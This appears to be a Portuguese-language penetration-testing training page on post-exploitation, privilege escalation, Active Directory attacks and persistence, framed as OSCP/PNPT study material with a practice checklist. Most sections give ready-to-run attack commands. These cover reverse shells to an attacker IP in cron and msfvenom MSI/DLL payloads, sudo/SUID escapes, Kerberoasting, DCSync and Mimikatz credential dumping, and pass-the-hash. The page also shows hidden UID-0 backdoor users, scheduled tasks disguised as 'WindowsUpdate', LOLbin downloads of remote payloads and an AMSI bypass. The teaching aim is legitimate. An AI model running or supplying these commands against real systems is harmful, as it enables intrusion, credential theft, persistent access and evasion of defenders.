// Penetration Testing — Phase Four

Pós-Exploração &
Escalada de Privilégios

Você tem um shell. Agora precisa entender onde está, elevar seus privilégios para root ou SYSTEM, e demonstrar o impacto real do comprometimento. Esta é a fase mais técnica e a que mais pesa no relatório final.

LINPEAS WINPEAS GTFOBINS BLOODHOUND MIMIKATZ IMPACKET KERBEROASTING
Os primeiros minutos após obter um shell determinam o que vem depois. Antes de qualquer exploit de escalada, colete informações: quem você é, onde está, o que tem permissão de fazer, e o que está rodando no sistema.
Os primeiros comandos — Linux e Windows

Linux — Orientação inicial

whoami — usuário atual
id — grupos e privilégios
sudo -l — o que posso rodar como root
uname -a — versão do kernel
cat /etc/os-release — distro
ps aux — processos em execução
ss -tulnp — portas abertas internamente
cat /etc/passwd — usuários do sistema

Windows — Orientação inicial

whoami /all — usuário, grupos e privilégios
systeminfo — OS, patches, arquitetura
net user — usuários locais
net localgroup administrators — admins
ipconfig /all — interfaces de rede
netstat -ano — conexões e portas
tasklist — processos rodando
wmic product get name — softwares instalados

O que procurar

Credenciais em arquivos de configuração (.env, config.php, web.config), histórico de comandos (~/.bash_history), chaves SSH (~/.ssh/), scripts com senhas hardcoded, variáveis de ambiente com tokens, backups de banco de dados.

enumeração rápida linux # Buscar arquivos com senhas em texto grep -r "password\|passwd\|secret\|api_key" /var/www/ 2>/dev/null # Histórico de comandos de todos os usuários find /home /root -name ".*history" 2>/dev/null -exec cat {} \; # Arquivos de config com credenciais find / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null # Conexões de rede internas (serviços não expostos externamente) ss -tulnp | grep 127.0.0.1
Escalada de privilégios no Linux se resume a encontrar uma configuração incorreta que permite executar código como root. LinPEAS automatiza a varredura, mas entender cada vetor manualmente é o que o OSCP exige e o que relatórios de qualidade descrevem.
LinPEAS — Enumeração automatizada
Sempre rode primeiro LinPEAS (Linux Privilege Escalation Awesome Script) verifica centenas de vetores e destaca os mais críticos em vermelho/amarelo. Salve o output em arquivo para analisar com calma. Não substitui entender cada vetor, mas acelera muito a descoberta.
linpeas # Transferir para o alvo via servidor HTTP # Na sua máquina: python3 -m http.server 8000 # No alvo: curl http://10.0.0.1:8000/linpeas.sh | bash # ou baixar e rodar: wget http://10.0.0.1:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh | tee /tmp/out.txt
Vetores de Escalada — Linux
Vetor

Sudo Misconfigurations

sudo -l mostra o que o usuário atual pode executar como root. Se qualquer binário está listado, consulte o GTFOBins para ver como elevar privilégios através dele. Mesmo binários "inofensivos" como find, vim ou python têm técnicas de escape.

(root) NOPASSWD: /usr/bin/find # GTFOBins → sudo find . -exec /bin/bash \; -quit (root) NOPASSWD: /usr/bin/python3 # sudo python3 -c 'import os; os.system("/bin/bash")' (root) NOPASSWD: /usr/bin/vim # sudo vim -c ':!/bin/bash'
Vetor

SUID Binaries

Binários com SUID executam com as permissões do dono (frequentemente root) independente de quem os executa. Encontre todos os SUID e consulte o GTFOBins para cada um encontrado.

# Listar todos os binários SUID find / -perm -4000 -type f 2>/dev/null # Exemplo: /usr/bin/bash com SUID /usr/bin/bash -p bash-5.1# whoami root
GTFOBins lista exploração para cada binário com SUID. Verifique todos os não-padrão encontrados.
Vetor

Cron Jobs com Permissões Fracas

Se um cron job roda como root e executa um script que você pode editar, você controla o que root executa. Verifique o conteúdo dos scripts chamados pelos crons — e as permissões desses arquivos.

# Ver cron jobs do sistema cat /etc/crontab ls -la /etc/cron* cat /var/spool/cron/crontabs/root # Monitorar processos novos (pspy — sem root) ./pspy64 # Se o script é editável: echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /caminho/script.sh
Vetor

PATH Hijacking

Se um script SUID ou sudo chama um binário sem caminho absoluto (ex: python em vez de /usr/bin/python), você pode colocar um binário malicioso com o mesmo nome em um diretório que vem antes no PATH.

# Script vulnerável chama: python backup.py # Criar python falso em /tmp echo '/bin/bash' > /tmp/python chmod +x /tmp/python export PATH=/tmp:$PATH # Ao rodar o script, /tmp/python é executado como root
Vetor

Capabilities

Linux capabilities são um subset de privilégios root que podem ser atribuídos a binários específicos. cap_setuid permite que o binário altere seu próprio UID para 0 (root).

# Encontrar binários com capabilities getcap -r / 2>/dev/null /usr/bin/python3 = cap_setuid+ep # Explorar cap_setuid em python python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
Vetor

Kernel Exploits

Última opção — exploits de kernel são instáveis e podem travar o sistema. Use quando todos os outros vetores falharam. Identifique a versão exata com uname -a e busque exploits específicos.

uname -a Linux host 4.4.0-116-generic #140-Ubuntu # Buscar: searchsploit linux kernel 4.4.0 # Ou: linux-exploit-suggester ./linux-exploit-suggester.sh
Sempre teste exploits de kernel em laboratório antes de rodar em produção. Podem causar kernel panic.
Windows tem vetores de escalada distintos do Linux. WinPEAS automatiza a descoberta. Os vetores mais comuns em ambientes reais são serviços mal configurados, tokens de impersonação e AlwaysInstallElevated — não exploits de kernel.
Vetores de Escalada — Windows
Vetor

Unquoted Service Path

Quando o caminho de um executável de serviço contém espaços e não está entre aspas, o Windows tenta executar partes do caminho como binários. Se você tem escrita em algum diretório intermediário, coloca um executável malicioso lá.

# Encontrar serviços com path sem aspas wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' # Exemplo vulnerável: C:\Program Files\My App\service.exe # Windows tenta: C:\Program.exe → C:\Program Files\My.exe → ... # Se você pode escrever em C:\Program Files\, crie My.exe
Vetor

Weak Service Permissions

Se você tem permissão para modificar o binário de um serviço que roda como SYSTEM, substitua o executável por um payload. Reinicie o serviço para execução privilegiada.

# Verificar permissões de serviços com PowerUp . .\PowerUp.ps1 Invoke-AllChecks # Ou manualmente com accesschk accesschk.exe -uwcqv "Users" *
Vetor

Token Impersonation (Potato Attacks)

Se o usuário tem o privilégio SeImpersonatePrivilege (comum em contas de serviço web como IIS, MSSQL), pode impersonar tokens de outros usuários — incluindo SYSTEM. Família Potato explora isso.

# Verificar privilégios whoami /priv SeImpersonatePrivilege Enabled ← explorar! # JuicyPotato (Windows < 2019) JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * # PrintSpoofer (Windows 2019+) PrintSpoofer.exe -i -c cmd
SeImpersonatePrivilege em conta de serviço web = caminho direto para SYSTEM na maioria dos Windows.
Vetor

AlwaysInstallElevated

Configuração de GPO que permite a qualquer usuário instalar MSI com privilégios de SYSTEM. Verificar duas chaves de registro — ambas precisam estar em 1.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Se ambas retornam 0x1, gere MSI malicioso: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f msi -o shell.msi msiexec /quiet /qn /i shell.msi
Vetor

DLL Hijacking

Quando um executável tenta carregar uma DLL e procura em diretórios na seguinte ordem: diretório do app → PATH. Se você tem escrita no diretório do app ou em um diretório do PATH antes do diretório correto, pode plantar uma DLL maliciosa.

# Monitorar DLLs não encontradas com Process Monitor (Sysinternals) # Filtro: Result = NAME NOT FOUND e Path ends with .dll # Gerar DLL maliciosa msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll -o missing.dll
Vetor

Registry Autoruns

Programas configurados para rodar no login ficam em chaves de registro específicas. Se você tem permissão de escrita e o programa roda com privilégios elevados, substitua pelo seu payload.

# Verificar autoruns reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Verificar permissões de escrita accesschk.exe /accepteula -wvu "C:\caminho\do\programa.exe"
A maioria dos ambientes corporativos roda Active Directory. Comprometer o AD significa controlar toda a organização. Os ataques aqui são o que diferenciam um pentester de nível médio de um sênior.
BloodHound — Mapeamento visual do AD
Por que BloodHound muda tudo BloodHound coleta relacionamentos entre usuários, grupos, computadores e GPOs do AD e visualiza caminhos de ataque. Mostra graficamente como chegar do usuário comprometido até Domain Admin — mesmo através de múltiplos saltos que seriam impossíveis de descobrir manualmente.
bloodhound # Coletar dados com SharpHound (no alvo Windows) .\SharpHound.exe -c All --zipfilename dados.zip # Alternativa Python (sem executar no alvo) bloodhound-python -u usuario -p senha -d dominio.local -ns 192.168.1.10 -c All # Iniciar BloodHound + Neo4j sudo neo4j start bloodhound # Importar ZIP → Queries prontas: "Shortest Path to DA"
Ataques Kerberos
Kerberos

Kerberoasting

Qualquer usuário do domínio pode solicitar tickets de serviço (TGS) para contas com SPN configurado. Esses tickets são criptografados com a senha da conta de serviço — e podem ser quebrados offline com Hashcat.

# Solicitar tickets via Impacket (sem estar no AD) GetUserSPNs.py dominio.local/usuario:senha -request -dc-ip 192.168.1.10 # Quebrar o hash com Hashcat hashcat -m 13100 -a 0 ticket.txt rockyou.txt
Contas de serviço com SPN frequentemente têm senhas antigas e fracas. Kerberoasting é um dos ataques mais bem-sucedidos em AD.
Kerberos

AS-REP Roasting

Contas com "Do not require Kerberos preauthentication" habilitado expõem seu hash sem nem precisar de credencial. O KDC retorna o AS-REP criptografado com a senha do usuário — quebrável offline.

# Sem credencial — só lista de usuários GetNPUsers.py dominio.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10 # Quebrar com Hashcat hashcat -m 18200 -a 0 asrep.txt rockyou.txt
Lateral Movement

Pass-the-Hash

Com o hash NTLM de um usuário (via hashdump do Meterpreter, Mimikatz ou secretsdump), você pode autenticar em outros sistemas sem precisar da senha em texto claro.

# Via Impacket psexec psexec.py dominio/admin@192.168.1.10 -hashes :hash_ntlm # Via CrackMapExec cme smb 192.168.1.0/24 -u admin -H hash_ntlm # Via Evil-WinRM evil-winrm -i 192.168.1.10 -u admin -H hash_ntlm
Domínio

DCSync — Dump de todos os hashes

Se você tem permissões de replicação no domínio (Domain Admin, ou usuário com DS-Replication rights), pode simular um Domain Controller e solicitar todos os hashes de senha do AD via protocolo de replicação.

# Via Impacket secretsdump secretsdump.py dominio/admin:senha@192.168.1.10 # Via Mimikatz (dentro do DC) lsadump::dcsync /domain:dominio.local /all lsadump::dcsync /user:krbtgt # para Golden Ticket
DCSync como Domain Admin = dump completo de todos os hashes do domínio. Game over para o AD.
Envenenamento

LLMNR / NBT-NS Poisoning

Quando um host não consegue resolver um nome via DNS, tenta LLMNR e NBT-NS (broadcast na rede local). Responder envenena essas respostas e captura hashes NTLMv2 de todos os hosts que tentam autenticar.

# Rodar Responder na interface correta sudo responder -I eth0 -wv # Aguardar hashes NTLMv2 → quebrar com Hashcat hashcat -m 5600 -a 0 ntlmv2.txt rockyou.txt
Extração

Mimikatz — Dump de credenciais

Ferramenta clássica para extração de credenciais do Windows. Lê senhas em texto claro e hashes da memória do processo LSASS. Requer privilégios de SYSTEM ou administrador local.

# Dump de credenciais do LSASS privilege::debug sekurlsa::logonpasswords # Dump de hashes locais lsadump::sam # Via Meterpreter (sem tocar disco) load kiwi creds_all
Em um pentest real, você demonstra que um atacante poderia manter acesso mesmo após a vulnerabilidade original ser corrigida. Em Red Team, evasão é crítica — você não pode ser detectado pelo Blue Team antes de atingir o objetivo.
Técnicas de Persistência
Linux

Backdoors e Chaves SSH

Adicionar sua chave pública ao ~/.ssh/authorized_keys do root garante acesso SSH permanente sem senha. Criar um usuário oculto com UID 0 (root) também é técnica comum.

# Adicionar chave SSH echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys # Criar usuário com UID 0 echo 'backdoor:x:0:0:root:/root:/bin/bash' >> /etc/passwd # Cron backdoor (a cada minuto) echo '* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /etc/crontab
Windows

Scheduled Tasks & Registry

Tarefas agendadas e chaves de autorun do registro são os mecanismos mais comuns de persistência no Windows. Ambos sobrevivem a reboots.

# Scheduled task schtasks /create /tn "WindowsUpdate" /tr "C:\temp\shell.exe" /sc onlogon /ru System # Autorun registry reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\temp\shell.exe"
Evasão

Living off the Land (LOLbins)

Usar binários legítimos do sistema para executar código malicioso. Como já estão presentes no sistema, não são detectados por soluções baseadas em assinatura. Referência: lolbas-project.github.io

# Executar payload via certutil (download) certutil -urlcache -split -f http://10.0.0.1/shell.exe C:\temp\shell.exe # Executar via regsvr32 (bypass AppLocker) regsvr32 /s /n /u /i:http://10.0.0.1/file.sct scrobj.dll # mshta — executa HTA remoto mshta http://10.0.0.1/payload.hta
Evasão

AMSI Bypass

AMSI (Antimalware Scan Interface) intercepta PowerShell e scripts para análise pelo antivírus. Existem técnicas de bypass que corrompem ou desabilitam o AMSI na sessão atual, permitindo executar scripts maliciosos sem detecção.

# Bypass clássico (pode ser detectado) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # Verificar se AMSI foi bypassado amsiutils # deve retornar erro, não alerta
Para o PNPT e OSCP o foco é entender o conceito. Técnicas específicas de bypass evoluem constantemente.
Marque conforme for avançando. O progresso fica salvo no navegador.
Linux PrivEsc
Rodei LinPEAS em uma máquina comprometida e interpretei o outputIdentifiquei os vetores destacados em vermelho
Escalei privilégios via sudo misconfigurationUsando GTFOBins para o binário permitido
Encontrei e explorei um binário SUID não-padrão
Explorei um cron job com script editávelObtive shell de root via reverse shell no cron
Usei pspy para monitorar processos sem rootDescobri um processo periódico rodando como root
Windows PrivEsc
Rodei WinPEAS e PowerUp em uma máquina WindowsIdentifiquei ao menos um vetor explorável
Explorei SeImpersonatePrivilege com PrintSpoofer ou JuicyPotatoObtive SYSTEM a partir de conta de serviço
Explorei um unquoted service path ou weak service permission
Active Directory
Montei um lab AD básico (Windows Server + 1 cliente)Ou pratiquei em TryHackMe AD rooms
Executei Kerberoasting e quebrei o ticket com Hashcat
Capturei hashes NTLMv2 com Responder e quebrei offline
Usei BloodHound para mapear o caminho até Domain AdminImportei dados do SharpHound e visualizei o grafo
Executei Pass-the-Hash com Impacket ou CrackMapExecAcessei outro sistema usando hash NTLM capturado
Completei o curso Practical Ethical Hacking (TCM) — seção ADReferência mais didática disponível sobre AD attacks